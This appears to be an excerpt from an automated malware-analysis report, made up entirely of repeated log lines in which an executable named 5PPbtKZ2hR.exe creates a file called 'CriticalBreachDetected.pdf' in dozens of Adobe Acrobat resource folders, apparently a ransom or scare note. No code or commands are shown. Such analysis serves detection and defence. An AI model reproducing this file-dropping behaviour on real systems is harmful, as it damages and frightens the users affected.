Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\ccpdf\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\cpdf\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\images\themeless\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\collect_feedback\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\collect_feedback\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\collect_feedback\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\combinepdf\js\plugins\rhp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\createpdfupsell-app\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
